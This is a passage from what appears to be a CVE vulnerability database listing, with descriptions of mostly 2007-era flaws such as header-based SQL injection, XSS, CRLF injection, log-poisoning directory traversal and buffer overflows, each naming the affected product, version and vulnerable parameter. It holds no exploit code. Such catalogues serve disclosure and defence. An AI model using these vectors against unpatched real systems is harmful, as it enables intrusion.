19985| [CVE-2007-2556] SQL injection vulnerability in Nuked-klaN 1.7.6 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For (X_FORWARDED_FOR) HTTP header, as demonstrated by a request to the /nk/ URI.
19986| [CVE-2007-2555] Unspecified vulnerability in Default.aspx in Podium CMS allows remote attackers to have an unknown impact, possibly session fixation, via a META HTTP-EQUIV Set-cookie expression in the id parameter, related to "cookie manipulation." NOTE: this issue might be cross-site scripting (XSS).
19987| [CVE-2007-2550] Multiple CRLF injection vulnerabilities in Devellion CubeCart 3.0.15 allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in a cookie name beginning with "ccSID" to (1) cart.php or (2) index.php.
19988| [CVE-2007-2537] Multiple SQL injection vulnerabilities in mainfile.php in NPDS 5.10 and earlier allow remote authenticated users to execute arbitrary SQL commands via a (1) nickname or (2) Id in a cookie, or (3) the X-Forwarded-For (X_FORWARDED_FOR) HTTP header.
19989| [CVE-2007-2510] Buffer overflow in the make_http_soap_request function in PHP before 5.2.2 has unknown impact and remote attack vectors, possibly related to "/" (slash) characters.
19990| [CVE-2007-2496] The WordOCX ActiveX control in WordViewer.ocx 3.2.0.5 allows remote attackers to cause a denial of service (Internet Explorer 7 crash) via a long (1) DoOleCommand, (2) FTPDownloadFile, (3) FTPUploadFile, (4) HttpUploadFile, (5) GotoPage, (6) Save, (7) SaveWebFile, (8) HttpDownloadFile, (9) Open, (10) OpenWebFile, (11) SaveAs, or (12) ShowWordStandardDialog property value.
19991| [CVE-2007-2495] Multiple stack-based buffer overflows in the ExcelOCX ActiveX control in ExcelViewer.ocx 3.1.0.6 allow remote attackers to cause a denial of service (Internet Explorer 7 crash) via a long (1) DoOleCommand, (2) FTPDownloadFile, (3) FTPUploadFile, (4) HttpUploadFile, (5) Save, (6) SaveWebFile, (7) HttpDownloadFile, (8) Open, or (9) OpenWebFile property value. NOTE: some of these details are obtained from third party information.
19992| [CVE-2007-2494] Multiple stack-based buffer overflows in the PowerPointOCX ActiveX control in PowerPointViewer.ocx 3.1.0.3 allow remote attackers to cause a denial of service (Internet Explorer 7 crash) via a long (1) DoOleCommand, (2) FTPDownloadFile, (3) FTPUploadFile, (4) HttpUploadFile, (5) Save, (6) SaveWebFile, (7) HttpDownloadFile, (8) Open, or (9) OpenWebFile property value. NOTE: some of these details are obtained from third party information.
19993| [CVE-2007-2404] CRLF injection vulnerability in CFNetwork on Apple Mac OS X 10.3.9 and 10.4.10 before 20070731 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in an unspecified context. NOTE: this can be leveraged for cross-site scripting (XSS) attacks.
19994| [CVE-2007-2401] CRLF injection vulnerability in WebCore in Apple Mac OS X 10.3.9, 10.4.9 and later, and iPhone before 1.0.1, allows remote attackers to inject arbitrary HTTP headers via LF characters in an XMLHttpRequest request, which are not filtered when serializing headers via the setRequestHeader function. NOTE: this issue can be leveraged for cross-site scripting (XSS) attacks.
19995| [CVE-2007-2400] Race condition in Apple Safari 3 Beta before 3.0.2 on Mac OS X, Windows XP, Windows Vista, and iPhone before 1.0.1, allows remote attackers to bypass the JavaScript security model and modify pages outside of the security domain and conduct cross-site scripting (XSS) attacks via vectors related to page updating and HTTP redirects.
19996| [CVE-2007-2367] Buffer overflow in wserve_console.exe in Wserve HTTP Server (whttp) 4.6 allows remote attackers to cause a denial of service (forced application exit) via a long directory name in the URI.
19997| [CVE-2007-2336] Unspecified vulnerability in InterVations NaviCOPA Web Server 2.01 20070323 allows remote attackers to cause a denial of service (daemon crash) via crafted HTTP requests, as demonstrated by long requests containing '\A' characters, probably a different issue than CVE-2006-5112 and CVE-2007-1733. NOTE: the provenance of this information is unknown
19998| [CVE-2007-2292] CRLF injection vulnerability in the Digest Authentication support for Mozilla Firefox before 2.0.0.8 and SeaMonkey before 1.1.5 allows remote attackers to conduct HTTP request splitting attacks via LF (%0a) bytes in the username attribute.
19999| [CVE-2007-2291] CRLF injection vulnerability in the Digest Authentication support for Microsoft Internet Explorer 7.0.5730.11 allows remote attackers to conduct HTTP response splitting attacks via a LF (%0a) in the username attribute.
20000| [CVE-2007-2235] Multiple cross-site scripting (XSS) vulnerabilities in PunBB 1.2.14 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) Referer HTTP header to misc.php or the (2) category name when deleting a category in admin_categories.php.
20001| [CVE-2007-2225] A component in Microsoft Outlook Express 6 and Windows Mail in Windows Vista does not properly handle certain HTTP headers when processing MHTML protocol URLs, which allows remote attackers to obtain sensitive information from other Internet Explorer domains, aka "URL Parsing Cross Domain Information Disclosure Vulnerability."
20002| [CVE-2007-2197] Race condition in the NeatUpload ASP.NET component 1.2.11 through 1.2.16, 1.1.18 through 1.1.23, and trunk.379 through trunk.445 allows remote attackers to obtain other clients' HTTP responses via multiple simultaneous requests, which triggers multiple calls to HttpWorkerRequest.FlushResponse for the same HttpWorkerRequest object and causes a buffer to be reused for a different request.
20003| [CVE-2007-2171] Stack-based buffer overflow in the base64_decode function in GWINTER.exe in Novell GroupWise (GW) WebAccess before 7.0 SP2 allows remote attackers to execute arbitrary code via long base64 content in an HTTP Basic Authentication request.
20004| [CVE-2007-2047] CRLF injection vulnerability in www/delivery/ck.php in Openads 2.3 (aka Max Media Manager, MMM) before 0.3.31-alpha-pr3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the destination parameter. NOTE: some of these details are obtained from third party information.
20005| [CVE-2007-2046] Multiple CRLF injection vulnerabilities in adclick.php in (a) Openads (phpAdsNew) 2.0.11 and earlier and (b) Openads for PostgreSQL (phpPgAds) 2.0.11 and earlier allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in (1) the dest parameter and (2) the Referer HTTP header. NOTE: some of these details are obtained from third party information.
20006| [CVE-2007-2031] Buffer overflow in the HTTP proxy service for 3proxy 0.5 to 0.5.3g, and 0.6b-devel before 20070413, might allow remote attackers to execute arbitrary code via crafted transparent requests.
20007| [CVE-2007-1970] Mozilla Firefox does not warn the user about HTTP elements on an HTTPS page when the HTTP elements are dynamically created by a delayed document.write, which allows remote attackers to supply unauthenticated content and conduct phishing attacks.
20008| [CVE-2007-1963] SQL injection vulnerability in the create_session function in class_session.php in MyBB (aka MyBulletinBoard) 1.2.3 and earlier allows remote attackers to execute arbitrary SQL commands via the Client-IP HTTP header, as utilized by index.php, a related issue to CVE-2006-3775.
20009| [CVE-2007-1939] Cross-site scripting (XSS) vulnerability in the embedded webserver in Daniel Naber LanguageTool before 0.8.9 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors involving an error message, possibly the demultiplex method in HTTPServer.java.
20010| [CVE-2007-1926] Cross-site scripting (XSS) vulnerability in JBMC Software DirectAdmin before 1.293 does not properly display log files, which allows remote authenticated users to inject arbitrary web script or HTML via (1) http or (2) ftp requests logged in /var/log/directadmin/security.log
20011| [CVE-2007-1889] Integer signedness error in the _zend_mm_alloc_int function in the Zend Memory Manager in PHP 5.2.0 allows remote attackers to execute arbitrary code via a large emalloc request, related to an incorrect signed long cast, as demonstrated via the HTTP SOAP client in PHP, and via a call to msg_receive with the largest positive integer value of maxsize.
20012| [CVE-2007-1870] lighttpd before 1.4.14 allows attackers to cause a denial of service (crash) via a request to a file whose mtime is 0, which results in a NULL pointer dereference.
20013| [CVE-2007-1869] lighttpd 1.4.12 and 1.4.13 allows remote attackers to cause a denial of service (cpu and resource consumption) by disconnecting while lighttpd is parsing CRLF sequences, which triggers an infinite loop and file descriptor consumption.
20014| [CVE-2007-1868] The management service in IBM Tivoli Provisioning Manager for OS Deployment before 5.1 Fix Pack 2 does not properly handle multipart/form-data in HTTP POST requests, which allows remote attackers to execute arbitrary code or cause a denial of service (daemon crash) via crafted POST requests to port 8080/tcp or 443/tcp.
20015| [CVE-2007-1863] cache_util.c in the mod_cache module in Apache HTTP Server (httpd), when caching is enabled and a threaded Multi-Processing Module (MPM) is used, allows remote attackers to cause a denial of service (child processing handler crash) via a request with the (1) s-maxage, (2) max-age, (3) min-fresh, or (4) max-stale Cache-Control headers without a value.
20016| [CVE-2007-1862] The recall_headers function in mod_mem_cache in Apache 2.2.4 does not properly copy all levels of header data, which can cause Apache to return HTTP headers containing previously used data, which could be used by remote attackers to obtain potentially sensitive information.
20017| [CVE-2007-1860] mod_jk in Apache Tomcat JK Web Server Connector 1.2.x before 1.2.23 decodes request URLs within the Apache HTTP Server before passing the URL to Tomcat, which allows remote attackers to access protected pages via a crafted prefix JkMount, possibly involving double-encoded .. (dot dot) sequences and directory traversal, a related issue to CVE-2007-0450.
20018| [CVE-2007-1842] Directory traversal vulnerability in login.php in JSBoard before 2.0.12 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the table parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, a related issue to CVE-2006-2019.
20019| [CVE-2007-1801] Directory traversal vulnerability in inc/lang.php in sBLOG 0.7.3 Beta allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the conf_lang_default parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by inc/lang.php.
20020| [CVE-2007-1743] suexec in Apache HTTP Server (httpd) 2.2.3 does not verify combinations of user and group IDs on the command line, which might allow local users to leverage other vulnerabilities to create arbitrary UID/GID owned files if /proc is mounted. NOTE: the researcher, who is reliable, claims that the vendor disputes the issue because "the attacks described rely on an insecure server configuration" in which the user "has write access to the document root." In addition, because this is dependent on other vulnerabilities, perhaps this is resultant and should not be included in CVE.
20021| [CVE-2007-1742] suexec in Apache HTTP Server (httpd) 2.2.3 uses a partial comparison for verifying whether the current directory is within the document root, which might allow local users to perform unauthorized operations on incorrect directories, as demonstrated using "html_backup" and "htmleditor" under an "html" directory. NOTE: the researcher, who is reliable, claims that the vendor disputes the issue because "the attacks described rely on an insecure server configuration" in which the user "has write access to the document root."
20022| [CVE-2007-1741] Multiple race conditions in suexec in Apache HTTP Server (httpd) 2.2.3 between directory and file validation, and their usage, allow local users to gain privileges and execute arbitrary code by renaming directories or performing symlink attacks. NOTE: the researcher, who is reliable, claims that the vendor disputes the issue because "the attacks described rely on an insecure server configuration" in which the user "has write access to the document root."
20023| [CVE-2007-1733] Buffer overflow in InterVations NaviCOPA HTTP Server 2.01 allows remote attackers to execute arbitrary code via a long (1) /cgi-bin/ or (2) /cgi/ pathname in an HTTP GET request, probably a different issue than CVE-2006-5112.
20024| [CVE-2007-1720] Directory traversal vulnerability in addressbook.php in the Addressbook 1.2 module for PHP-Nuke allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the module_name parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file.
20025| [CVE-2007-1700] The session extension in PHP 4 before 4.4.5, and PHP 5 before 5.2.1, calculates the reference count for the session variables without considering the internal pointer from the session globals, which allows context-dependent attackers to execute arbitrary code via a crafted string in the session_register after unsetting HTTP_SESSION_VARS and _SESSION, which destroys the session data Hashtable.
20026| [CVE-2007-1685] Buffer overflow in k9filter.exe in BlueCoat K9 Web Protection 3.2.36, and probably other versions before 3.2.44, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request to port 2372.
20027| [CVE-2007-1636] Directory traversal vulnerability in index.php in RoseOnlineCMS 3 B1 allows remote attackers to include arbitrary files via a .. (dot dot) sequence in the op parameter, as demonstrated by injecting PHP code into Apache log files via the URL and User-Agent HTTP header.
20028| [CVE-2007-1633] Directory traversal vulnerability in bbcode_ref.php in the Giorgio Ciranni Splatt Forum 4.0 RC1 module for PHP-Nuke allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the name parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by bbcode_ref.php.
20029| [CVE-2007-1608] CRLF injection vulnerability in IBM WebSphere Application Server (WAS) before 6.0.2.19 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a single CRLF sequence in a context that is not a valid multi-line header.
20030| [CVE-2007-1577] Directory traversal vulnerability in index.php in GeBlog 0.1 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the GLOBALS[tplname] parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by index.php.
20031| [CVE-2007-1552] Unrestricted file upload vulnerability in usercp.php in MetaForum 0.513 Beta restricts file types based on the MIME type in the Content-type HTTP header, which allows remote attackers to upload and execute arbitrary scripts via an image MIME type with a filename containing an executable extension such as .php.
20032| [CVE-2007-1524] Directory traversal vulnerability in themes/default/ in ZomPlog 3.7.6 and earlier allows remote attackers to include arbitrary local files via a .. (dot dot) in the settings[skin] parameter, as demonstrated by injecting PHP code into an Apache HTTP Server log file, which can then be included via themes/default/.
20033| [CVE-2007-1520] The cross-site request forgery (CSRF) protection in PHP-Nuke 8.0 and earlier does not ensure the SERVER superglobal is an array before validating the HTTP_REFERER, which allows remote attackers to conduct CSRF attacks.
20034| [CVE-2007-1504] Cross-site scripting (XSS) vulnerability in the Servlet Service in Fujitsu Interstage Application Server (IJServer) 8.0.2 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, possibly involving web.xml and HTTP 404 and 500 status codes.
20035| [CVE-2007-1501] Stack-based buffer overflow in Avant Browser 11.0 build 26 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long Content-Type HTTP header.
20036| [CVE-2007-1494] Cross-site scripting (XSS) vulnerability in NukeSentinel before 2.5.06 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors related to the "filters for https:// and http://".
20037| [CVE-2007-1493] nukesentinel.php in NukeSentinel 2.5.06 and earlier uses a permissive regular expression to validate an IP address, which allows remote attackers to execute arbitrary SQL commands via the Client-IP HTTP header, due to an incomplete patch for CVE-2007-1172.
20038| [CVE-2007-1459] Multiple PHP remote file inclusion vulnerabilities in WebCreator 0.2.6-rc3 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the moddir parameter to (1) content/load.inc.php, (2) config/load.inc.php, (3) http/load.inc.php, and unspecified other files.
20039| [CVE-2007-1406] Trac before 0.10.3.1 does not send a Content-Disposition HTTP header specifying an attachment in certain "unsafe" situations, which has unknown impact and remote attack vectors.
20040| [CVE-2007-1359] Interpretation conflict in ModSecurity (mod_security) 2.1.0 and earlier allows remote attackers to bypass request rules via application/x-www-form-urlencoded POST data that contains an ASCIIZ (0x00) byte, which mod_security treats as a terminator even though it is still processed as normal data by some HTTP parsers including PHP 5.2.0, and possibly parsers in Perl, and Python.
20041| [CVE-2007-1350] Stack-based buffer overflow in webadmin.exe in Novell NetMail 3.5.2 allows remote attackers to execute arbitrary code via a long username during HTTP Basic authentication.
20042| [CVE-2007-1260] Stack-based buffer overflow in the connectHandle function in server.cpp in WebMod 0.48 allows remote attackers to execute arbitrary code via a long string in the Content-Length HTTP header.
20043| [CVE-2007-1230] Multiple cross-site scripting (XSS) vulnerabilities in wp-includes/functions.php in WordPress before 2.1.2-alpha allow remote attackers to inject arbitrary web script or HTML via (1) the Referer HTTP header or (2) the URI, a different vulnerability than CVE-2007-1049.
20044| [CVE-2007-1225] The connection log file implementation in Grok Developments NetProxy 4.03 does not record requests that omit http:// in a URL, which might allow remote attackers to conduct unauthorized activities and avoid detection.
20045| [CVE-2007-1224] Grok Developments NetProxy 4.03 allows remote attackers to bypass URL filtering via a request that omits "http://" from the URL and specifies the destination port (:80).
20046| [CVE-2007-1204] Stack-based buffer overflow in the Universal Plug and Play (UPnP) service in Microsoft Windows XP SP2 allows remote attackers on the same subnet to execute arbitrary code via crafted HTTP headers in request or notification messages, which trigger memory corruption.
20047| [CVE-2007-1172] SQL injection vulnerability in nukesentinel.php in NukeSentinel 2.5.05, and possibly earlier, allows remote attackers to execute arbitrary SQL commands via the Client-IP HTTP header, aka the "File Disclosure Exploit."
20048| [CVE-2007-1169] The web interface in Trend Micro ServerProtect for Linux (SPLX) 1.25, 1.3, and 2.5 before 20070216 accepts logon requests through unencrypted HTTP, which might allow remote attackers to obtain credentials by sniffing the network.
20049| [CVE-2007-1168] Trend Micro ServerProtect for Linux (SPLX) 1.25, 1.3, and 2.5 before 20070216 allows remote attackers to access arbitrary web pages and reconfigure the product via HTTP requests with the splx_2376_info cookie to the web interface port (14942/tcp).
20050| [CVE-2007-1115] The child frames in Opera 9 before 9.20 inherit the default charset from the parent window when a charset is not specified in an HTTP Content-Type header or META tag, which allows remote attackers to conduct cross-site scripting (XSS) attacks, as demonstrated using the UTF-7 character set.
20051| [CVE-2007-1114] The child frames in Microsoft Internet Explorer 7 inherit the default charset from the parent window when a charset is not specified in an HTTP Content-Type header or META tag, which allows remote attackers to conduct cross-site scripting (XSS) attacks, as demonstrated using the UTF-7 character set.
20052| [CVE-2007-1062] The Cisco Unified IP Conference Station 7935 3.2(15) and earlier, and Station 7936 3.3(12) and earlier does not properly handle administrator HTTP sessions, which allows remote attackers to bypass authentication controls via a direct URL request to the administrative HTTP interface for a limited time
20053| [CVE-2007-1061] SQL injection vulnerability in index.php in Francisco Burzi PHP-Nuke 8.0 Final and earlier, when the "HTTP Referers" block is enabled, allows remote attackers to execute arbitrary SQL commands via the HTTP Referer header (HTTP_REFERER variable).
20054| [CVE-2007-0977] IBM Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores HTTPPassword hashes from names.nsf in a manner accessible through Readviewentries and OpenDocument requests to the defaultview view, a different vector than CVE-2005-2428.
20055| [CVE-2007-0973] Multiple cross-site scripting (XSS) vulnerabilities in index.php in Jupiter CMS 1.1.5 allow remote attackers to inject arbitrary web script or HTML via the Referer HTTP header and certain other HTTP headers, which are displayed without proper sanitization when an administrator performs a Logged Guest action.
20056| [CVE-2007-0972] Unrestricted file upload vulnerability in modules/emoticons.php in Jupiter CMS 1.1.5 allows remote attackers to upload arbitrary files by modifying the HTTP request to send an image content type, and to omit is_guest and is_user parameters. NOTE: this issue might be related to CVE-2006-4875.
20057| [CVE-2007-0971] Multiple SQL injection vulnerabilities in Jupiter CMS 1.1.5 allow remote attackers to execute arbitrary SQL commands via the Client-IP HTTP header and certain other HTTP headers, which set the ip variable that is used in SQL queries performed by index.php and certain other PHP scripts. NOTE: the attack vector might involve _SERVER.
20058| [CVE-2007-0966] Cisco Firewall Services Module (FWSM) 3.x before 3.1(3.11), when the HTTPS server is enabled, allows remote attackers to cause a denial of service (device reboot) via certain HTTPS traffic.
20059| [CVE-2007-0965] Cisco FWSM 3.x before 3.1(3.2), when authentication is configured to use "aaa authentication match" or "aaa authentication include", allows remote attackers to cause a denial of service (device reboot) via a long HTTP request.
20060| [CVE-2007-0964] Cisco FWSM 3.x before 3.1(3.18), when authentication is configured to use "aaa authentication match" or "aaa authentication include", allows remote attackers to cause a denial of service (device reboot) via a malformed HTTPS request.
20061| [CVE-2007-0962] Cisco PIX 500 and ASA 5500 Series Security Appliances 7.0 before 7.0(4.14) and 7.1 before 7.1(2.1), and the FWSM 2.x before 2.3(4.12) and 3.x before 3.1(3.24), when "inspect http" is enabled, allows remote attackers to cause a denial of service (device reboot) via malformed HTTP traffic.
20062| [CVE-2007-0938] Microsoft Content Management Server (MCMS) 2001 SP1 and 2002 SP2 does not properly handle certain characters in a crafted HTTP GET request, which allows remote attackers to execute arbitrary code, aka the "CMS Memory Corruption Vulnerability."
20063| [CVE-2007-0892] CRLF injection vulnerability in phpMyVisites before 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the url parameter, when the pagename parameter begins with "FILE:".
20064| [CVE-2007-0817] Cross-site scripting (XSS) vulnerability in Adobe ColdFusion web server allows remote attackers to inject arbitrary HTML or web script via the User-Agent HTTP header, which is not sanitized before being displayed in an error page.
20065| [CVE-2007-0801] The nsExternalAppHandler::SetUpTempFile function in Mozilla Firefox 1.5.0.9 creates temporary files with predictable filenames based on creation time, which allows remote attackers to execute arbitrary web script or HTML via a crafted XMLHttpRequest.
20066| [CVE-2007-0796] Blue Coat Systems WinProxy 6.1a and 6.0 r1c, and possibly earlier, allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a long HTTP CONNECT request, which triggers heap corruption.
20067| [CVE-2007-0760] EQdkp 1.3.1 and earlier authenticates administrative requests by verifying that the HTTP Referer header specifies an admin/ URL, which allows remote attackers to read or modify account names and passwords via a spoofed Referer.
20068| [CVE-2007-0664] thttpd before 2.25b-r6 in Gentoo Linux is started from the system root directory (/) by the Gentoo baselayout 1.12.6 package, which allows remote attackers to read arbitrary files.
20069| [CVE-2007-0637] Directory traversal vulnerability in zd_numer.php in Galeria Zdjec 3.0 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the galeria parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by zd_numer.php.
20070| [CVE-2007-0583] Multiple cross-site scripting (XSS) vulnerabilities in HTTP Commander 6.0, and possibly earlier, allow remote attackers to inject arbitrary web script or HTML via the (1) LogoffMessage parameter to logofflast.aspx or the (2) txtUsername parameter to Default.aspx. NOTE: The provenance of this information is unknown
20071| [CVE-2007-0578] The http_open function in httpget.c in mpg123 before 0.64 allows remote attackers to cause a denial of service (infinite loop) by closing the HTTP connection early.
20072| [CVE-2007-0548] KarjaSoft Sami HTTP Server 2.0.1 allows remote attackers to cause a denial of service (daemon hang) via a large number of requests for nonexistent objects.
20073| [CVE-2007-0533] The AToZed IntraWeb component 8.0 and earlier for Borland Delphi and Kylix, and IntraWeb 9.0 before build (9.0.12), allows remote attackers to cause a denial of service (thread hang or CPU consumption) via a crafted HTTP request, related to the OnBeforeDispatch function in the TIWServerController object.
20074| [CVE-2007-0528] The admin web console implemented by the Centrality Communications (aka Aredfox) PA168 chipset and firmware 1.54 and earlier, as provided by various IP phones, does not require passwords or authentication tokens when using HTTP, which allows remote attackers to connect to existing superuser sessions and obtain sensitive information (passwords and configuration data).
20075| [CVE-2007-0514] Multiple cross-site scripting (XSS) vulnerabilities in multiple Hitachi Web Server, uCosminexus, and Cosminexus products before 20070124 allow remote attackers to inject arbitrary web script or HTML via (1) HTTP Expect headers or (2) image maps.
20076| [CVE-2007-0464] The _CFNetConnectionWillEnqueueRequests function in CFNetwork 129.19 on Apple Mac OS X 10.4 through 10.4.10 allows remote attackers to cause a denial of service (application crash) via a crafted HTTP 301 response, which results in a NULL pointer dereference.
20077| [CVE-2007-0459] packet-tcp.c in the TCP dissector in Wireshark (formerly Ethereal) 0.99.2 through 0.99.4 allows remote attackers to cause a denial of service (application crash or hang) via fragmented HTTP packets.
20078| [CVE-2007-0458] Unspecified vulnerability in the HTTP dissector in Wireshark (formerly Ethereal) 0.99.3 and 0.99.4 allows remote attackers to cause a denial of service (application crash) via unspecified vectors, a different issue than CVE-2006-5468.
20079| [CVE-2007-0450] Directory traversal vulnerability in Apache HTTP Server and Tomcat 5.x before 5.5.22 and 6.x before 6.0.10, when using certain proxy modules (mod_proxy, mod_rewrite, mod_jk), allows remote attackers to read arbitrary files via a .. (dot dot) sequence with combinations of (1) "/" (slash), (2) "\" (backslash), and (3) URL-encoded backslash (%5C) characters in the URL, which are valid separators in Tomcat but not in Apache.
20080| [CVE-2007-0420] BEA WebLogic Server 9.0, 9.1, and 9.2 Gold allows remote attackers to obtain sensitive information via malformed HTTP requests, which reveal data from previous requests.
20081| [CVE-2007-0419] The BEA WebLogic Server proxy plug-in before June 2006 for the Apache HTTP Server does not properly handle protocol errors, which allows remote attackers to cause a denial of service (server outage).
20082| [CVE-2007-0282] Unspecified vulnerability in Oracle HTTP Server 9.0.1.5, Application Server 9.0.4.2 and 10.1.2.0.0, and Collaboration Suite 9.0.4.2 has unknown impact and attack vectors related to the Oracle Process Mgmt & Notification component, aka OPMN02.
20083| [CVE-2007-0281] Multiple unspecified vulnerabilities in Oracle HTTP Server 9.0.1.5, 9.2.0.8, 10.1.0.5, and 10.2.0.3
20084| [CVE-2007-0280] Unspecified vulnerability in Oracle HTTP Server 9.0.1.5, Application Server 9.0.4.3, 10.1.2.0.0, 10.1.2.0.2, and 10.1.2.2
20085| [CVE-2007-0279] Multiple unspecified vulnerabilities in Oracle HTTP Server 9.2.0.8 and Oracle E-Business Suite and Applications 11.5.10CU2 have unknown impact and attack vectors, aka (1) OHS01, (2) OHS02, (3) OHS05, (4) OHS06, and (5) OHS07.
20086| [CVE-2007-0240] Cross-site scripting (XSS) vulnerability in Zope 2.10.2 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors in a HTTP GET request.
20087| [CVE-2007-0173] Directory traversal vulnerability in index.php in L2J Statistik Script 0.09 and earlier, when register_globals is enabled and magic_quotes is disabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the page parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by index.php.
20088| [CVE-2007-0124] Unspecified vulnerability in Drupal before 4.6.11, and 4.7 before 4.7.5, when MySQL is used, allows remote authenticated users to cause a denial of service by poisoning the page cache via unspecified vectors, which triggers erroneous 404 HTTP errors for pages that exist.
20089| [CVE-2007-0120] Acunetix Web Vulnerability Scanner (WVS) 4.0 Build 20060717 and earlier allows remote attackers to cause a denial of service (application crash) via multiple HTTP requests containing invalid Content-Length values.
20090| [CVE-2007-0105] Stack-based buffer overflow in the CSAdmin service in Cisco Secure Access Control Server (ACS) for Windows before 4.1 and ACS Solution Engine before 4.1 allows remote attackers to execute arbitrary code via a crafted HTTP GET request.
20091| [CVE-2007-0098] Directory traversal vulnerability in language.php in VerliAdmin 0.3 and earlier, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang cookie, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by language.php.
20092| [CVE-2007-0086] ** DISPUTED ** The Apache HTTP Server, when accessed through a TCP connection with a large window size, allows remote attackers to cause a denial of service (network bandwidth consumption) via a Range header that specifies multiple copies of the same fragment. NOTE: the severity of this issue has been disputed by third parties, who state that the large window size required by the attack is not normally supported or configured by the server, or that a DDoS-style attack would accomplish the same goal.
20093| [CVE-2007-0047] CRLF injection vulnerability in Adobe Acrobat Reader Plugin before 8.0.0, when used with the Microsoft.XMLHTTP ActiveX object in Internet Explorer, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the javascript: URI in the (1) FDF, (2) XML, or (3) XFDF AJAX request parameters.
20094| [CVE-2007-0019] Multiple heap-based buffer overflows in rumpusd in Rumpus 5.1 and earlier (1) allow remote authenticated users to execute arbitrary code via a long LIST command and other unspecified requests to the FTP service, and (2) allow remote attackers to execute arbitrary code via unspecified requests to the HTTP service.
20095| [CVE-2006-7201] EMC RSA Security SiteKey does not set the secure qualifier on the SiteKey Flash token (aka the PassMark Flash shared object), which might allow remote attackers to obtain the token via HTTP.
20096| [CVE-2006-7172] Multiple SQL injection vulnerabilities in php-stats.recphp.php in PHP-Stats 0.1.9.1b and earlier allow remote attackers to execute arbitrary code via a leading dotted-quad IP address string in the (1) PC-REMOTE-ADDR HTTP header, which is inserted into $_SERVER['HTTP_PC_REMOTE_ADDR'], or (2) ip parameter.
20097| [CVE-2006-7125] Cross-site scripting (XSS) vulnerability in Joomla BSQ Sitestats 1.8.0 and 2.2.1 allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer header, which is not properly handled when the administrator views site statistics.
20098| [CVE-2006-7121] The HTTP server in Linksys SPA-921 VoIP Desktop Phone allows remote attackers to cause a denial of service (reboot) via (1) a long URL, or a long (2) username or (3) password during Basic Authentication.
20099| [CVE-2006-7098] The Debian GNU/Linux 033_-F_NO_SETSID patch for the Apache HTTP Server 1.3.34-4 does not properly disassociate httpd from a controlling tty when httpd is started interactively, which allows local users to gain privileges to that tty via a CGI program that calls the TIOCSTI ioctl.
20100| [CVE-2006-7053] Unspecified vulnerability in Arkoon FAST360 UTM appliances 3.0 through 3.0/29, 3.1, 3.2, and 3.3 allows remote attackers to bypass keyword filtering in the FAST HTTP module, and signatures in the IDPS HTTP module, via crafted URLs that are "misinterpreted."
20101| [CVE-2006-7020] CRLF injection vulnerability in (1) include/inc_act/act_formmailer.php and possibly (2) sample_ext_php/mail_file_form.php in phpwcms 1.2.5-DEV and earlier, and 1.1 before RC4, allows remote attackers to modify HTTP headers and send spam e-mail via a spoofed HTTP Referer (HTTP_REFERER).
20102| [CVE-2006-7013] ** DISPUTED ** QueryString.php in Simple Machines Forum (SMF) 1.0.7 and earlier, and 1.1rc2 and earlier, allows remote attackers to more easily spoof the IP address and evade banning via a modified X-Forwarded-For HTTP header, which is preferred instead of other more reliable sources for the IP address. NOTE: the original researcher claims that the vendor has disputed this issue.
20103| [CVE-2006-6992] Cross-domain vulnerability in GoSuRF Browser 2.62 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
20104| [CVE-2006-6991] Cross-domain vulnerability in Fast Browser Pro 8.1 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
20105| [CVE-2006-6990] Cross-domain vulnerability in Enigma Browser 3.8.8 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
20106| [CVE-2006-6989] Cross-domain vulnerability in NetCaptor 4.5.7 Personal Edition allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
